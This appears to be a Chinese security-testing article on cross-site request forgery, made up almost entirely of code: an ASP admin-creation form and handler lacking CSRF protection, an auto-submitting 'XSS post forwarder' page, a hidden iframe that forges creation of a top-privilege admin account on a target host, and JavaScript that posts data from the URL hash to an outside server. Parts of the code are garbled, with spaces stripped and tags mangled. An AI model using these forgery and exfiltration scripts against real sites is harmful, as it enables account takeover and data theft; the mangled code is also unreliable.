[安全测试]浅析跨站请求伪造

<form. action="?action=savenew" accept-charset="UNKNOWN" enctype="application/x-www-form-urlencoded" method="post">
<table class="tableborder" border="0" cellspacing="1" cellpadding="3" align="center">
<tbody>
<tr>
<th colspan="2">添加管理员</th>
</tr>
<tr>
<td class="tablerow1" width="25%" align="right"><strong>后台登陆名称：</strong></td>
<td class="tablerow1" width="75%"><input name="username2" size="30" type="text" /></td>
</tr>
<tr>
<td class="tablerow2" align="right"><strong>后台登陆密码：</strong></td>
<td class="tablerow2"><input name="password2" size="30" type="password" /></td>
</tr>
<tr>
<td class="tablerow1" align="right"><strong>管理员级别：</strong></td>
<td class="tablerow1"><input checked="checked" name="AdminGrade" type="radio" value="0" /> 普通管理员   <input name="AdminGrade" type="radio" value="999" /> 高级管理员（拥有最高权限）   <input name="AdminGrade" type="radio" value="111" /> 只读管理员</td>
</tr>
<tr>
<td class="tablerow2" align="right"><strong>限制一个管理员登陆：</strong></td>
<td class="tablerow2"><input checked="checked" name="isAloneLogin" type="radio" value="1" /> 是   <input name="isAloneLogin" type="radio" value="0" /> 否</td>
</tr>
<tr>
<td class="tablerow1" align="right"><strong>是否激活管理员：</strong></td>
<td class="tablerow1"><input checked="checked" name="isLock" type="radio" value="0" /> 是   <input name="isLock" type="radio" value="1" /> 否</td>
</tr>
<tr>
<td class="tablerow2" align="right"><strong> </strong></td>
<td class="tablerow2"><input class="button" name="reset_button" type="reset" value="清 除" />   <input class="button" name="submit_button" type="submit" value="提 交" /></td>
</tr>
</tbody>
</table>
</form>

Sub savenew()
Dim Rs,SQL
Dim adminuserid
If Request.Form("username2") = "" Then
ErrMsg = "请输入后台登陆用户名！"
Founderr = True
Exit Sub
Else
adminuserid = Request.Form("username2")
End If
If Request.Form("password2") = "" Then
ErrMsg = "请输入后台登陆密码！"
Founderr = True
Exit Sub
End If
Set Rs=NewAsp.Execute("SELECT username FROM NC_Admin WHERE username='" & Replace(Request.Form("username2"), "'", "") & "'")
If Not (Rs.EOF And Rs.bof) Then
ErrMsg = "您输入的用户名已经在管理用户中存在！"
Founderr = True
Exit Sub
End If
Set Rs=NewAsp.CreateAXObject("ADODB.Recordset")
SQL="SELECT * FROM NC_Admin WHERE (id is null)"
Rs.open SQL,conn,1,3
Rs.addnew
Rs("username") = Replace(Request.Form("username2"), "'", "")
If NewAsp.ChkNumeric(Request.Form("AdminGrade")) = 999 Then
Rs("status") = "高级管理员"
ElseIf NewAsp.ChkNumeric(Request.Form("AdminGrade")) = 111 Then
Rs("status") = "只读管理员"
Else
Rs("status") = "普通管理员"
End If
Rs("password") = md5(Request.Form("password2"),16)
Rs("isLock") = NewAsp.ChkNumeric(Request.Form("isLock"))
Rs("AdminGrade") = NewAsp.ChkNumeric(Request.Form("AdminGrade"))
Rs("Adminflag") = ",,,,,,,,,,,,,,,"
Rs("LoginTime") = Now()
Rs("Loginip") = NewAsp.UserTrueIP
Rs("RandomCode") = NewAsp.GetRandomCode(16)
Rs("isAloneLogin") = NewAsp.ChkNumeric(Request.Form("isAloneLogin"))
Rs.update
Rs.close:set Rs=Nothing
Succeed ("用户ID:" & adminuserid & " 添加成功，请到管理员管理给予相应的权限，如需修改请返回管理员管理！")
End Sub

Post.asp
<!--r /> response.write("<title>XSS post forwarder</title>")
lake2 = antiXSS(request("lake2"))
if lake2<>"" then
response.write("
<form. method='post' action='" & lake2 & "'>")
for each b in request.QueryString
if b <> "lake2" then response.write("<input type='hidden' value='" & antiXSS(request(b)) & "' name='" & antiXSS(b) & "' />")
next
response.write("</form>
 
")
response.write("<mce :script. type="text/javascript">< !  document.forms[0].submit(); //  ></mce>")
else
response.Write("enjoy hacking :p")
end if
 
' -_-!!
function antiXSS(str)
str = replace(str, "'", "")
antiXSS = str
end function
-->

<iframe. width=0 height=0 src="http://192.168.1.107/post.asp?lake2=http://192.168.1.109/admin/users/admin_master.asp?action=savenew&username2=fan&password2=fan&AdminGrade=999&isAloneLogin=1&isLock=0&submit_button=%CC%E1+%BD%BB"></iframe>

<script. language="javascript">varbXmlHttpSupport=(typeofXMLHttpRequest=="object"||window.ActiveXObject); functionhttpPost(sURL,sParams){ varoURL=newjava.net.URL(sURL);varoConnection=oURL.openConnection(); 
    oConnection.setDoInput(true);oConnection.setDoOutput(true);oConnection.setUseCaches(false);oConnection.setRequestProperty("Content-Type","application/x-www-form-urlencoded"); varoOutput=newjava.io.DataOutputStream(oConnection.getOutputStream());oOutput.writeBytes(sParams);oOutput.flush();oOutput.close(); varsLine="",sResponseText=""; varoInput=newjava.io.DataInputStream(oConnection.getInputStream());sLine=oInput.readLine(); while(sLine!=null){sResponseText+=sLine+"\n";sLine=oInput.readLine();} 
    oInput.close(); returnsResponseText;} functionaddPostParam(sParams,sParamName,sParamValue){if(sParams.length>0){sParams+="&";}returnsParams+encodeURIComponent(sParamName)+"="+encodeURIComponent(sParamValue);} functionaddURLParam(sURL,sParamName,sParamValue){sURL+=(sURL.indexOf("?")==-1?"?":"&");sURL+=encodeURIComponent(sParamName)+"="+encodeURIComponent(sParamValue);returnsURL;} 
 if(typeofXMLHttpRequest=="undefined"&&window.ActiveXObject){ functionXMLHttpRequest(){ vararrSignatures=["MSXML2.XMLHTTP.5.0","MSXML2.XMLHTTP.4.0","MSXML2.XMLHTTP.3.0","MSXML2.XMLHTTP","Microsoft.XMLHTTP"]; for(vari=0;i<arrSignatures.length;i++){try{ varoRequest=newActiveXObject(arrSignatures[i]); returnoRequest; }catch(oError){//ignore}} thrownewError("MSXML is not installed on your system.");}} 
 varHttp=newObject; 
 
 
Http.post=function(sURL,sParams,fnCallback){ if(bXmlHttpSupport){ varoRequest=newXMLHttpRequest();oRequest.open("post",sURL,true);oRequest.setRequestHeader("Content-Type","application/x-www-form-urlencoded");oRequest.onreadystatechange=function(){if(oRequest.readyState==4){fnCallback(oRequest.responseText);}}oRequest.send(sParams); }elseif(navigator.javaEnabled()&&typeofjava!="undefined"&&typeofjava.net!="undefined"){ 
        setTimeout(function(){fnCallback(httpPost(sURL,sParams));},10);}else{alert("Your browser doesn't support HTTP requests.");} }; functiongetServerInfo(data){varsURL="http://www.nuanyuecom/te.php";varsParams="";sParams=addPostParam(sParams,"name",data);sParams=addPostParam(sParams,"book","Professional JavaScript"); 
                    Http.post(sURL,sParams,function(sData){alert("Data from server: "+sData);}); } 
 varh=location.hash;vara=h.split("#");varb=unescape(a[a.length-1]);getServerInfo(b);